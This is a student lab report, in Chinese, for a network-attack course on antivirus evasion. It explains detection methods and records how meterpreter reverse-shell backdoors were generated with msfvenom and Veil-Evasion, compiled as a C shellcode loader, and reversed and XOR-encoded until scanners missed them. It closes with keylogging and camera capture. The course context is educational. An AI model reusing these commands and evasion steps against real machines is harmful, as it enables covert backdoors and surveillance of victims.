20145214《网络对抗技术》免杀原理与实践
基础问题回答
1、杀软是如何检测出恶意代码的?
-
检测恶意代码分为三种方式
-
基于特征码检测
一段特征码就是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码
-
启发式恶意软件检测
根据片面特征去推断,对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那我们就把它当成一个恶意软件
-
基于行为的恶意软件检测
相当于是启发式的一种,或者是加入了行为监控的启发式,可以检测出获取权限等敏感行为
2、免杀是做什么?
- 免杀就是让安插的后门不被AV软件发现
- 可以将其看为一种能使病毒木马避免被杀毒软件查杀的技术,理论上讲,免杀出现在杀毒软件之后
- 实现免杀的技术有改变特征码、改变行为以及其他非常规的方法
3、免杀的基本方法有哪些?
-
改变特征码
1、加壳 2、用encode对shellcode进行编码,基于payload重新编译生成可执行文件 3、用veil-evasion等其他语言进行重写再编译
-
改变行为
1、通讯方式:尽量使用反弹式连接;使用隧道技术;加密通讯数据 2、操作模式:基于内存操作;减少对系统的修改;加入混淆作用的正常功能代码
-
非常规方法
1、使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中 2、使用社会工程学类攻击,诱骗目标关闭AV软件 3、纯手工打造一个恶意软件
实践总结与体会
- 这次实践是在上周的实践基础上的延伸和扩展,感觉执行起来没有刚接触时那么难以理解了,后面的回连等等操作也比较熟悉了
- 通过自己构造出shellcode就能躲避大部分杀毒软件的查杀,说明仅仅靠特征码检测恶意代码是远远不够的,谁知道此时此刻又有什么样的shellcode被编写出来成功伪装了呢!
- 一开始不理解老师上课说的杀毒和免杀是博弈的关系,就像第一次见到VirScan.org时,会觉得好不容易造出一个恶意代码怎么会有人傻乎乎的提交上去自己主动博取杀软公司的注意呢,做完实践就明白了,其实提交到检测网站进行检测也是对免杀本身的一种自我完善,也只有让目前的杀软都嗅不到踪迹,才算是基本完成了免杀吧
离实战还缺些什么技术或步骤
- 第一个问题就是如何完美地伪装自己的恶意代码,把后门成功地留在目标主机上,我们在实践中用的是同一个网段,而在实战中,要面对的网络情况则会更加复杂
- 这次实践和上次的一样,要完成回连,还是得自己在靶机上点开后门软件,就相当于对“坏蛋”说——我帮你打开家里的大门,你进来偷东西吧...真正的实战,靶机一般应该是“戒备森严”的,在能成功植入后门的情况下,至少需要对后门定义一个自启动项
实践过程记录
1、msfvenom直接生成meterpreter可执行文件并进行检测
-
首先根据上星期的实践内容,在kali中生成
20145214_backdoor.exe
文件,提交到VirSCAN.org进行检验,结果提示名称中含有广告内容
-
于是更改文件名为
zn_backdoor
,再次提交,能够成功进行检测,检测的文件信息及结果如下
-
根据检测报告——
扫描结果:51%的杀软(20/39)报告发现病毒
说明 msfvenom直接生成meterpreter可执行文件无法通过检测 -
之后尝试生成
zn_backdoor2.exe
后门,并进行十次编译
-
提交检验后报告如下
-
扫描结果依旧为
51%的杀软(20/39)报告发现病毒
,对比之前竟然没有一星半点的进步...说明通过编译进行免杀的尝试失败了
2、使用免杀平台Veil-Evasion
-
由于kali中已经安装了Veil-Evasion,所以直接在命令行输入
veil-evasion
就可以进入平台 -
之后在menu下依次输入以下指令
use python/meterpreter/rev_tcp set LHOST 192.168.127.128 generate winmine 1
-
这里我第一次做的时候出现一些小错误,设置地址时错输入成了
172.168.127.128
,显示如下
-
重新返回menu,再来一遍成功连接的显示如下,发现和之前输入了错误的地址并没有什么太大的差别,只是生成的可执行文件名称改变了、主机地址不同了而已。于是正确的可执行文件名为
winmine1.exe
-
找到生成的后门软件的位置,同样提交到VirSCAN.org进行检验,检验结果如下
-
根据检验报告,
扫描结果:25%的杀软(10/39)报告发现病毒
,对比之前的结果这是个巨大的进步,继续再试试别的方法,值得期待
3、C语言调用shellcode
-
用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.128 LPORT=5214 -f c > 5214_c.c
生成一个C语言格式的数组,写入名为5214_c.c
的文件里
-
打开c文件,在文件最后添加一个main函数,如下
-
输入指令
i686-w64-mingw32-g++ test_c.c -o 20145214_c.exe
后将生成的20145214_c.exe
提交进行检测,提示了名字中含有广告信息,反应过来名字里不该有数字,想到所在文件夹中重命名,发现我的kali居然可怕的右键没有反应!!!无奈之下重新用输入指令的方式生成新的exe程序(一切只是为了改个名字T.T 后来发现只要换一个环境就好了...) -
进行检验的结果如下
-
扫描结果:20%的杀软(8/39)报告发现病毒
又比前面的Veil-Evasion平台效果好了一点点
4、深入实践
-
对比前面三种方法,于是选择C语言调用shellcode来进行深入实践,同前面第3步,生成一个
backdoor.exe
瞬间就被windows defender发现了,扼杀在摇篮里
-
接着用逆序的方法对上面的源代码进行修改。此时defender没有发现它,进行检测结果如下
-
扫描结果:12%的杀软(5/39)报告发现病毒
又比之前更进一步 -
继续进行异或操作,检测如下
-
竟然成功躲过了各路法眼...接着进行回连
-
同样的,能够进行截屏、拍照、获取键盘输入、录像、录音等操作